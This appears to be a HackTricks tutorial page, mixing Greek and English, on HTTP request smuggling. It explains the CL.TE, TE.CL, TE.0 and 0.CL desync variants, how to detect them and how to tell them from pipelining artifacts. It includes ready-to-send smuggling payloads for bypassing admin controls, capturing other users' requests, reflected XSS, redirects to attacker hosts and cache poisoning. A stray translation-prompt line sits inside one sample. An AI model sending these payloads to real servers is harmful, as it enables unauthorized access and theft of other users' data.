HTTP Request Smuggling / HTTP Desync Attack

Tip

Μάθε & εξασκήσου στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).

Υποστήριξε το HackTricks

Τι είναι

Αυτή η ευπάθεια εμφανίζεται όταν μια desyncronization μεταξύ των front-end proxies και του back-end server επιτρέπει σε έναν attacker να send ένα HTTP request που θα interpreted ως ένα single request από τα front-end proxies (load balance/reverse-proxy) και ως 2 request από τον back-end server.
Αυτό επιτρέπει σε έναν χρήστη να modify το επόμενο request που φτάνει στον back-end server μετά το δικό του.

Θεωρία

RFC Specification (2161)

If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.

Content-Length

Το Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.

Transfer-Encoding: chunked

Το Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks

Πραγματικότητα

Το Front-End (a load-balance / Reverse Proxy) process το content-length ή το transfer-encoding header και ο Back-end server process το άλλο, προκαλώντας μια desyncronization μεταξύ των 2 συστημάτων.
Αυτό μπορεί να είναι πολύ κρίσιμο, καθώς an attacker will be able to send one request στο reverse proxy που θα interpreted από τον back-end server as 2 different requests. Ο danger αυτής της τεχνικής βρίσκεται στο γεγονός ότι ο back-end server will interpret το 2nd request injected σαν να came from the next client και το πραγματικό request εκείνου του client θα είναι part του injected request.

Ιδιαιτερότητες

Να θυμάστε ότι στο HTTP a new line character is composed by 2 bytes:

  • Content-Length: Αυτό το header χρησιμοποιεί έναν decimal number για να δηλώσει τον number των bytes του body του request. Το body αναμένεται να τελειώνει στον τελευταίο χαρακτήρα, a new line is not needed in the end of the request.
  • Transfer-Encoding: Αυτό το header χρησιμοποιεί στο body έναν hexadecimal number για να δηλώσει τον number των bytes του next chunk. Το chunk πρέπει να end με ένα new line αλλά αυτό το new line isn’t counted από τον length indicator. Αυτή η transfer method πρέπει να τελειώνει με ένα chunk of size 0 followed by 2 new lines: 0
  • Connection: Με βάση την εμπειρία μου, συνιστάται να χρησιμοποιείτε Connection: keep-alive στο πρώτο request του request Smuggling.

Visible - Hidden

Το κύριο proble με το http/1.1 είναι ότι όλα τα requests περνούν στο ίδιο TCP socket, οπότε αν βρεθεί μια διαφορά μεταξύ 2 συστημάτων που λαμβάνουν requests, είναι δυνατό να σταλεί ένα request που θα reated as 2 διαφορετικά requests (or more) από το τελικό backend (ή ακόμη και από ενδιάμεσα συστήματα).

This blog post προτείνει νέους τρόπους για να εντοπίζονται desync attacks σε ένα system που δεν θα επισημανθούν από WAFs. Για αυτό παρουσιάζει τα Visible vs Hidden behaviors. Ο στόχος σε αυτή την περίπτωση είναι να βρεθούν discrepancies στο repsonse χρησιμοποιώντας techniques που θα μπορούσαν να προκαλούν desyncs χωρίς να γίνεται πραγματικά exploit τίποτα.

Για παράδειγμα, στέλνοντας ένα request με το normal host header και ένα “ host“ header, αν το backend παραπονιέται για αυτό το request (ίσως επειδή η τιμή του “ host“ είναι incorrect) μπορεί να σημαίνει ότι το front-end δεν είδε το “ host“ header ενώ το τελικό backend το χρησιμοποίησε, highly probale implaying a desync between front-end and backend.

Αυτό θα ήταν μια Hidden-Visible discrepancy.

Αν το front-end είχε λάβει υπόψη το “ host“ header αλλά το front-end δεν το είχε κάνει, αυτό θα μπορούσε να είναι μια Visible-Hidden situation.

Για παράδειγμα, αυτό επέτρεψε να εντοπιστούν desyncs μεταξύ AWS ALB ως front-end και IIS ως backend. Αυτό συνέβη επειδή όταν στάλθηκε το “Host: foo/bar”, το ALB επέστρεψε 400, Server; awselb/2.0, αλλά όταν στάλθηκε το “Host : foo/bar”, επέστρεψε 400, Server: Microsoft-HTTPAPI/2.0, δείχνοντας ότι το backend έστελνε την response. Αυτή είναι μια Hidden-Vissible (H-V) situation.

Σημειώστε ότι αυτή η κατάσταση δεν διορθώνεται στο AWS, αλλά μπορεί να προληφθεί θέτοντας routing.http.drop_invalid_header_fields.enabled και routing.http.desync_mitigation_mode = strictest.

Βασικά Παραδείγματα

Tip

When trying to exploit this with Burp Suite disable Update Content-Length and Normalize HTTP/1 line endings in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths.

HTTP request smuggling attacks are crafted by sending ambiguous requests that exploit discrepancies in how front-end and back-end servers interpret the Content-Length (CL) and Transfer-Encoding (TE) headers. These attacks can manifest in different forms, primarily as CL.TE, TE.CL, and TE.TE. Each type represents a unique combination of how the front-end and back-end servers prioritize these headers. The vulnerabilities arise from the servers processing the same request in different ways, leading to unexpected and potentially malicious outcomes.

Basic Examples of Vulnerability Types

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

Tip

To the previous table you should add the TE.0 technique, like CL.0 technique but using Transfer Encoding.

CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

  • Front-End (CL): Processes the request based on the Content-Length header.

  • Back-End (TE): Processes the request based on the Transfer-Encoding header.

  • Attack Scenario:

  • The attacker sends a request where the Content-Length header’s value does not match the actual content length.

  • The front-end server forwards the entire request to the back-end, based on the Content-Length value.

  • The back-end server processes the request as chunked due to the Transfer-Encoding: chunked header, interpreting the remaining data as a separate, subsequent request.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)

  • Front-End (TE): Processes the request based on the Transfer-Encoding header.

  • Back-End (CL): Processes the request based on the Content-Length header.

  • Attack Scenario:

  • The attacker sends a chunked request where the chunk size (7b) and actual content length (Content-Length: 4) do not align.

  • The front-end server, honoring Transfer-Encoding, forwards the entire request to the back-end.

  • The back-end server, respecting Content-Length, processes only the initial part of the request (7b bytes), leaving the rest as part of an unintended subsequent request.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

  • Servers: Both support Transfer-Encoding, but one can be tricked into ignoring it via obfuscation.

  • Attack Scenario:

  • The attacker sends a request with obfuscated Transfer-Encoding headers.

  • Depending on which server (front-end or back-end) fails to recognize the obfuscation, a CL.TE or TE.CL vulnerability may be exploited.

  • The unprocessed part of the request, as seen by one of the servers, becomes part of a subsequent request, leading to smuggling.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length used by both Front-End and Back-End)

  • Both servers process the request based solely on the Content-Length header.
  • This scenario typically does not lead to smuggling, as there’s alignment in how both servers interpret the request length.
  • Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Scenario

  • Refers to scenarios where the Content-Length header is present and has a value other than zero, indicating that the request body has content. The back-end ignores the Content-Length header (which is treated as 0), but the front-end parses it.
  • It’s crucial in understanding and crafting smuggling attacks, as it influences how servers determine the end of a request.
  • Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Scenario

  • Like the previous one but using TE
  • Technique reported here
  • Example:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

0.CL Σενάριο

Σε μια 0.CL κατάσταση αποστέλλεται ένα request με Content-Length όπως:

GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7

GET /404 HTTP/1.1
X: Y

Και το front-end δεν λαμβάνει υπόψη το Content-Length, οπότε στέλνει μόνο το πρώτο request προς το backend (μέχρι το 7 στο παράδειγμα). Ωστόσο, το backend βλέπει το Content-Length και περιμένει ένα body που ποτέ δεν φτάνει, επειδή το front-end ήδη περιμένει το response.

Ωστόσο, αν υπάρχει ένα request που είναι δυνατό να σταλεί στο backend και το οποίο λαμβάνει response πριν από την παραλαβή του body του request, αυτό το deadlock δεν θα συμβεί. Στο IIS, για παράδειγμα, αυτό συμβαίνει στέλνοντας requests σε forbidden words όπως /con (έλεγξε τη documentation), με αυτόν τον τρόπο, το αρχικό request θα λάβει response απευθείας και το δεύτερο request θα περιέχει το request του victim όπως:

GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>

Αυτό είναι χρήσιμο για να προκαλέσει ένα desync, αλλά δεν θα έχει κανένα αντίκτυπο μέχρι τώρα.

Ωστόσο, το post προσφέρει μια λύση για αυτό μετατρέποντας μια 0.CL attack into a CL.0 with a double desync.

Breaking the web server

Αυτή η τεχνική είναι επίσης χρήσιμη σε σενάρια όπου είναι δυνατό να break a web server while reading the initial HTTP data αλλά without closing the connection. Με αυτόν τον τρόπο, το body του HTTP request θα θεωρηθεί ως το next HTTP request.

Για παράδειγμα, όπως εξηγείται σε this writeup, στο Werkzeug ήταν δυνατό να σταλούν ορισμένοι Unicode χαρακτήρες και αυτό θα έκανε τον server να break. Ωστόσο, αν η HTTP connection είχε δημιουργηθεί με το header Connection: keep-alive, το body του request δεν θα διαβαζόταν και η connection θα παρέμενε ανοιχτή, οπότε το body του request θα αντιμετωπιζόταν ως το next HTTP request.

Forcing via hop-by-hop headers

Χρησιμοποιώντας καταχρηστικά hop-by-hop headers θα μπορούσες να υποδείξεις στο proxy να delete the header Content-Length or Transfer-Encoding so a HTTP request smuggling is possible to abuse.

Connection: Content-Length

Για περισσότερες πληροφορίες about hop-by-hop headers visit:

hop-by-hop headers

Finding HTTP Request Smuggling

Ο εντοπισμός vulnerabilities HTTP request smuggling μπορεί συχνά να επιτευχθεί με timing techniques, οι οποίες βασίζονται στην παρατήρηση του πόσο χρόνο χρειάζεται ο server για να απαντήσει σε manipulated requests. Αυτές οι techniques είναι ιδιαίτερα χρήσιμες για τον εντοπισμό CL.TE και TE.CL vulnerabilities. Εκτός από αυτές τις μεθόδους, υπάρχουν και άλλες strategies και tools που μπορούν να χρησιμοποιηθούν για τον εντοπισμό τέτοιων vulnerabilities:

Finding CL.TE Vulnerabilities Using Timing Techniques

  • Method:

  • Send a request that, if the application is vulnerable, will cause the back-end server to wait for additional data.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • Observation:

  • Ο front-end server επεξεργάζεται το request με βάση το Content-Length και κόβει το message πρόωρα.

  • Ο back-end server, περιμένοντας ένα chunked message, περιμένει το επόμενο chunk που δεν φτάνει ποτέ, προκαλώντας καθυστέρηση.

  • Indicators:

  • Timeouts ή μεγάλες καθυστερήσεις στην απάντηση.

  • Λήψη ενός 400 Bad Request error από τον back-end server, μερικές φορές με λεπτομερείς πληροφορίες server.

Finding TE.CL Vulnerabilities Using Timing Techniques

  • Method:

  • Send a request that, if the application is vulnerable, will cause the back-end server to wait for additional data.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Observation:
  • Ο front-end server επεξεργάζεται το request με βάση το Transfer-Encoding και προωθεί ολόκληρο το message.
  • Ο back-end server, περιμένοντας ένα message με βάση το Content-Length, περιμένει επιπλέον data που δεν φτάνουν ποτέ, προκαλώντας καθυστέρηση.

Other Methods to Find Vulnerabilities

  • Differential Response Analysis:
  • Send slightly varied versions of a request and observe if the server responses differ in an unexpected way, indicating a parsing discrepancy.
  • Using Automated Tools:
  • Tools like Burp Suite’s ‘HTTP Request Smuggler’ extension can automatically test for these vulnerabilities by sending various forms of ambiguous requests and analyzing the responses.
  • Content-Length Variance Tests:
  • Send requests with varying Content-Length values that are not aligned with the actual content length and observe how the server handles such mismatches.
  • Transfer-Encoding Variance Tests:
  • Send requests with obfuscated or malformed Transfer-Encoding headers and monitor how differently the front-end and back-end servers respond to such manipulations.

The Expect: 100-continue header

Check how this header can help exploiting a http desync in:

Special Http Headers

HTTP Request Smuggling Vulnerability Testing

After confirming the effectiveness of timing techniques, it’s crucial to verify if client requests can be manipulated. A straightforward method is to attempt poisoning your requests, for instance, making a request to / yield a 404 response. The CL.TE and TE.CL examples previously discussed in Basic Examples demonstrate how to poison a client’s request to elicit a 404 response, despite the client aiming to access a different resource.

Key Considerations

When testing for request smuggling vulnerabilities by interfering with other requests, bear in mind:

  • Distinct Network Connections: The “attack” and “normal” requests should be dispatched over separate network connections. Utilizing the same connection for both doesn’t validate the vulnerability’s presence.
  • Consistent URL and Parameters: Aim to use identical URLs and parameter names for both requests. Modern applications often route requests to specific back-end servers based on URL and parameters. Matching these increases the likelihood that both requests are processed by the same server, a prerequisite for a successful attack.
  • Timing and Racing Conditions: The “normal” request, meant to detect interference from the “attack” request, competes against other concurrent application requests. Therefore, send the “normal” request immediately following the “attack” request. Busy applications may necessitate multiple trials for conclusive vulnerability confirmation.
  • Load Balancing Challenges: Front-end servers acting as load balancers may distribute requests across various back-end systems. If the “attack” and “normal” requests end up on different systems, the attack won’t succeed. This load balancing aspect may require several attempts to confirm a vulnerability.
  • Unintended User Impact: If your attack inadvertently impacts another user’s request (not the “normal” request you sent for detection), this indicates your attack influenced another application user. Continuous testing could disrupt other users, mandating a cautious approach.

Distinguishing HTTP/1.1 pipelining artifacts vs genuine request smuggling

Connection reuse (keep-alive) and pipelining can easily produce illusions of “smuggling” in testing tools that send multiple requests on the same socket. Learn to separate harmless client-side artifacts from real server-side desync.

Why pipelining creates classic false positives

HTTP/1.1 reuses a single TCP/TLS connection and concatenates requests and responses on the same stream. In pipelining, the client sends multiple requests back-to-back and relies on in-order responses. A common false-positive is to resend a malformed CL.0-style payload twice on a single connection:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Please provide the content to translate.

HTTP/1.1 200 OK
Content-Type: text/html

HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

Εάν ο server αγνόησε το malformed Content_Length, δεν υπάρχει FE↔BE desync. Με reuse, ο client σου στην πραγματικότητα έστειλε αυτό το byte-stream, το οποίο ο server το έκανε parse ως δύο ανεξάρτητα requests:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Impact: none. Μόλις αποσυγχρόνισες το client σου από το server framing.

Tip

Burp modules that depend on reuse/pipelining: Turbo Intruder with requestsPerConnection>1, Intruder with “HTTP/1 connection reuse”, Repeater “Send group in sequence (single connection)” or “Enable connection reuse”.

Litmus tests: pipelining or real desync?

  1. Disable reuse and re-test
  • In Burp Intruder/Repeater, turn off HTTP/1 reuse and avoid “Send group in sequence”.
  • In Turbo Intruder, set requestsPerConnection=1 and pipeline=False.
  • If the behavior disappears, it was likely client-side pipelining, unless you’re dealing with connection-locked/stateful targets or client-side desync.
  1. HTTP/2 nested-response check
  • Send an HTTP/2 request. If the response body contains a complete nested HTTP/1 response, you’ve proven a backend parsing/desync bug instead of a pure client artifact.
  1. Partial-requests probe for connection-locked front-ends
  • Some FEs only reuse the upstream BE connection if the client reused theirs. Use partial-requests to detect FE behavior that mirrors client reuse.
  • See PortSwigger “Browser‑Powered Desync Attacks” for the connection-locked technique.
  1. State probes
  • Look for first- vs subsequent-request differences on the same TCP connection (first-request routing/validation).
  • Burp “HTTP Request Smuggler” includes a connection‑state probe that automates this.
  1. Visualize the wire
  • Use the Burp “HTTP Hacker” extension to inspect concatenation and message framing directly while experimenting with reuse and partial requests.

Connection‑locked request smuggling (reuse-required)

Some front-ends only reuse the upstream connection when the client reuses theirs. Real smuggling exists but is conditional on client-side reuse. To distinguish and prove impact:

  • Prove the server-side bug
  • Use the HTTP/2 nested-response check, or
  • Use partial-requests to show the FE only reuses upstream when the client does.
  • Show real impact even if direct cross-user socket abuse is blocked:
  • Cache poisoning: poison shared caches via the desync so responses affect other users.
  • Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
  • Bypass FE controls: smuggle restricted paths/methods past the front-end.
  • Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
  • Operator workflow
  • Reproduce with controlled reuse (Turbo Intruder requestsPerConnection=2, or Burp Repeater tab group → “Send group in sequence (single connection)”).
  • Then chain to cache/header-leak/control-bypass primitives and demonstrate cross-user or authorization impact.

See also connection‑state attacks, which are closely related but not technically smuggling:

{{#ref}} ../http-connection-request-smuggling.md {{#endref}}

Client‑side desync constraints

If you’re targeting browser-powered/client-side desync, the malicious request must be sendable by a browser cross-origin. Header obfuscation tricks won’t work. Focus on primitives reachable via navigation/fetch, and then pivot to cache poisoning, header disclosure, or front-end control bypass where downstream components reflect or cache responses.

For background and end-to-end workflows:

Browser HTTP Request Smuggling

Tooling to help decide

  • HTTP Hacker (Burp BApp Store): exposes low-level HTTP behavior and socket concatenation.
  • “Smuggling or pipelining?” Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
  • Turbo Intruder: precise control over connection reuse via requestsPerConnection.
  • Burp HTTP Request Smuggler: includes a connection‑state probe to spot first‑request routing/validation.

Note

Treat reuse-only effects as non-issues unless you can prove server-side desync and attach concrete impact (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).

Abusing HTTP Request Smuggling

Circumventing Front-End Security via HTTP Request Smuggling

Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing /admin might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions.

Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the /admin path which is typically guarded by the front-end proxy:

CL.TE Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

Στην επίθεση CL.TE, η κεφαλίδα Content-Length αξιοποιείται για το αρχικό request, ενώ το επόμενο embedded request χρησιμοποιεί την κεφαλίδα Transfer-Encoding: chunked. Το front-end proxy επεξεργάζεται το αρχικό POST request αλλά αποτυγχάνει να επιθεωρήσει το embedded GET /admin request, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση στο path /admin.

TE.CL Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Αντίστροφα, στην TE.CL attack, το αρχικό POST request χρησιμοποιεί Transfer-Encoding: chunked, και το επόμενο embedded request επεξεργάζεται με βάση το Content-Length header. Παρόμοια με την CL.TE attack, το front-end proxy αγνοεί το smuggled GET /admin request, δίνοντας κατά λάθος πρόσβαση στο restricted /admin path.

Revealing front-end request rewriting

Applications often employ a front-end server to modify incoming requests before passing them to the back-end server. A typical modification involves adding headers, such as X-Forwarded-For: <IP of the client>, to relay the client’s IP to the back-end. Understanding these modifications can be crucial, as it might reveal ways to bypass protections or uncover concealed information or endpoints.

To investigate how a proxy alters a request, locate a POST parameter that the back-end echoes in the response. Then, craft a request, using this parameter last, similar to the following:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

Σε αυτή τη δομή, τα επόμενα request components προστίθενται μετά το search=, που είναι το parameter που reflected στην απόκριση. Αυτό το reflection θα αποκαλύψει τα headers του επόμενου request.

Είναι σημαντικό να ευθυγραμμίσεις το Content-Length header του nested request με το πραγματικό content length. Είναι προτιμότερο να ξεκινήσεις με μικρή τιμή και να την αυξάνεις σταδιακά, καθώς μια πολύ χαμηλή τιμή θα κόψει τα reflected δεδομένα, ενώ μια πολύ υψηλή τιμή μπορεί να προκαλέσει error στο request.

Αυτή η technique είναι επίσης εφαρμόσιμη στο πλαίσιο μιας TE.CL vulnerability, αλλά το request θα πρέπει να τερματίζει με search=\r\n0. Ανεξάρτητα από τους newline characters, οι τιμές θα προστεθούν στο search parameter.

Αυτή η μέθοδος χρησιμεύει κυρίως για να κατανοήσεις τις request modifications που γίνονται από το front-end proxy, ουσιαστικά εκτελώντας μια self-directed investigation.

Capturing other users’ requests

Είναι εφικτό να capture τα requests του επόμενου user προσθέτοντας ένα συγκεκριμένο request ως value ενός parameter κατά τη διάρκεια μιας POST operation. Δες πώς μπορεί να γίνει αυτό:

Προσθέτοντας το ακόλουθο request ως value ενός parameter, μπορείς να αποθηκεύσεις το subsequent client’s request:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

Σε αυτό το σενάριο, η παράμετρος comment προορίζεται να αποθηκεύει το περιεχόμενο μέσα στην ενότητα σχολίων μιας ανάρτησης σε δημόσια προσβάσιμη σελίδα. Κατά συνέπεια, το περιεχόμενο του επόμενου request θα εμφανιστεί ως σχόλιο.

Ωστόσο, αυτή η τεχνική έχει περιορισμούς. Γενικά, καταγράφει δεδομένα μόνο μέχρι το delimiter της παραμέτρου που χρησιμοποιείται στο smuggled request. Για URL-encoded form submissions, αυτό το delimiter είναι ο χαρακτήρας &. Αυτό σημαίνει ότι το καταγεγραμμένο περιεχόμενο από το request του victim user θα σταματήσει στο πρώτο &, το οποίο μπορεί ακόμη και να αποτελεί μέρος του query string.

Επιπλέον, αξίζει να σημειωθεί ότι αυτή η προσέγγιση είναι επίσης εφικτή με μια TE.CL vulnerability. Σε τέτοιες περιπτώσεις, το request θα πρέπει να καταλήγει με search=\r\n0. Ανεξάρτητα από τα newline characters, οι τιμές θα προστεθούν στην παράμετρο search.

Using HTTP request smuggling to exploit reflected XSS

Το HTTP Request Smuggling μπορεί να αξιοποιηθεί για την εκμετάλλευση web pages ευάλωτων σε Reflected XSS, προσφέροντας σημαντικά πλεονεκτήματα:

  • Δεν απαιτείται αλληλεπίδραση με τους target users.
  • Επιτρέπει την εκμετάλλευση του XSS σε μέρη του request που συνήθως είναι απρόσιτα, όπως τα HTTP request headers.

Σε σενάρια όπου ένα website είναι ευάλωτο σε Reflected XSS μέσω του User-Agent header, το ακόλουθο payload δείχνει πώς να αξιοποιήσετε αυτή την ευπάθεια:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Αυτό το payload είναι δομημένο ώστε να εκμεταλλευτεί το vulnerability με τον εξής τρόπο:

  1. Ξεκινά ένα POST request, φαινομενικά τυπικό, με ένα Transfer-Encoding: chunked header για να υποδείξει την έναρξη του smuggling.
  2. Συνεχίζει με ένα 0, που σηματοδοτεί το τέλος του chunked message body.
  3. Έπειτα, εισάγεται ένα smuggled GET request, όπου το User-Agent header γίνεται inject με ένα script, <script>alert(1)</script>, ενεργοποιώντας το XSS όταν ο server επεξεργαστεί αυτό το επόμενο request.

Με το να χειρίζεσαι το User-Agent μέσω smuggling, το payload παρακάμπτει τους κανονικούς περιορισμούς των requests, εκμεταλλευόμενο έτσι το Reflected XSS vulnerability με έναν μη τυπικό αλλά αποτελεσματικό τρόπο.

HTTP/0.9

Caution

Σε περίπτωση που το user content αντανακλάται σε μια response με ένα Content-type όπως text/plain, αποτρέποντας την εκτέλεση του XSS. Αν ο server υποστηρίζει HTTP/0.9, ίσως είναι δυνατό να παρακαμφθεί αυτό!

Η έκδοση HTTP/0.9 ήταν προηγούμενη του 1.0 και χρησιμοποιεί μόνο GET verbs και δεν απαντά με headers, μόνο με το body.

Σε αυτό το writeup, αυτό αξιοποιήθηκε με ένα request smuggling και ένα vulnerable endpoint που θα απαντήσει με το input του user για να γίνει smuggle ένα request με HTTP/0.9. Το parameter που θα αντανακλάται στη response περιείχε ένα fake HTTP/1.1 response (με headers και body), ώστε η response να περιέχει έγκυρο executable JS code με Content-Type text/html.

Exploiting On-site Redirects with HTTP Request Smuggling

Οι applications συχνά κάνουν redirect από ένα URL σε άλλο χρησιμοποιώντας το hostname από το Host header στο redirect URL. Αυτό είναι συνηθισμένο με web servers όπως οι Apache και IIS. Για παράδειγμα, ένα request σε έναν φάκελο χωρίς το τελικό slash οδηγεί σε redirect ώστε να προστεθεί το slash:

GET /home HTTP/1.1
Host: normal-website.com

Αποτελέσματα σε:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Αν και φαίνεται ακίνδυνη, αυτή η συμπεριφορά μπορεί να χειραγωγηθεί χρησιμοποιώντας HTTP request smuggling για να ανακατευθύνει χρήστες σε έναν εξωτερικό ιστότοπο. Για παράδειγμα:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Αυτό το smuggled request θα μπορούσε να προκαλέσει το επόμενο processed user request να ανακατευθυνθεί σε έναν website ελεγχόμενο από attacker:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Αποτελέσματα σε:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

Σε αυτό το σενάριο, ένα αίτημα χρήστη για ένα JavaScript file hijacked. Ο attacker μπορεί δυνητικά να compromise τον χρήστη σερβίροντας malicious JavaScript ως response.

Exploiting Web Cache Poisoning via HTTP Request Smuggling

Το Web cache poisoning μπορεί να εκτελεστεί αν οποιοδήποτε component της front-end infrastructure caches content, συνήθως για να βελτιώσει την απόδοση. Με το να χειριστούμε το response του server, είναι δυνατό να poison the cache.

Προηγουμένως, παρατηρήσαμε πώς τα server responses μπορούσαν να αλλοιωθούν ώστε να επιστρέφουν error 404 (δες Basic Examples). Ομοίως, είναι εφικτό να ξεγελάσουμε τον server ώστε να παραδίδει το περιεχόμενο του /index.html ως response σε request για /static/include.js. Κατά συνέπεια, το περιεχόμενο του /static/include.js αντικαθίσταται στο cache με αυτό του /index.html, καθιστώντας το /static/include.js μη προσβάσιμο στους users, με πιθανό αποτέλεσμα ένα Denial of Service (DoS).

Αυτή η technique γίνεται ιδιαίτερα ισχυρή αν ανακαλυφθεί ένα Open Redirect vulnerability ή αν υπάρχει ένα on-site redirect to an open redirect. Τέτοιου είδους vulnerabilities μπορούν να εκμεταλλευτούν για να αντικαταστήσουν το cached content του /static/include.js με ένα script υπό τον έλεγχο του attacker, επιτρέποντας ουσιαστικά μια ευρείας κλίμακας Cross-Site Scripting (XSS) attack εναντίον όλων των clients που ζητούν το ενημερωμένο /static/include.js.

Παρακάτω φαίνεται μια απεικόνιση της εκμετάλλευσης του cache poisoning combined with an on-site redirect to open redirect. Ο στόχος είναι να αλλαχθεί το cache content του /static/include.js ώστε να σερβίρει JavaScript code ελεγχόμενο από τον attacker:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

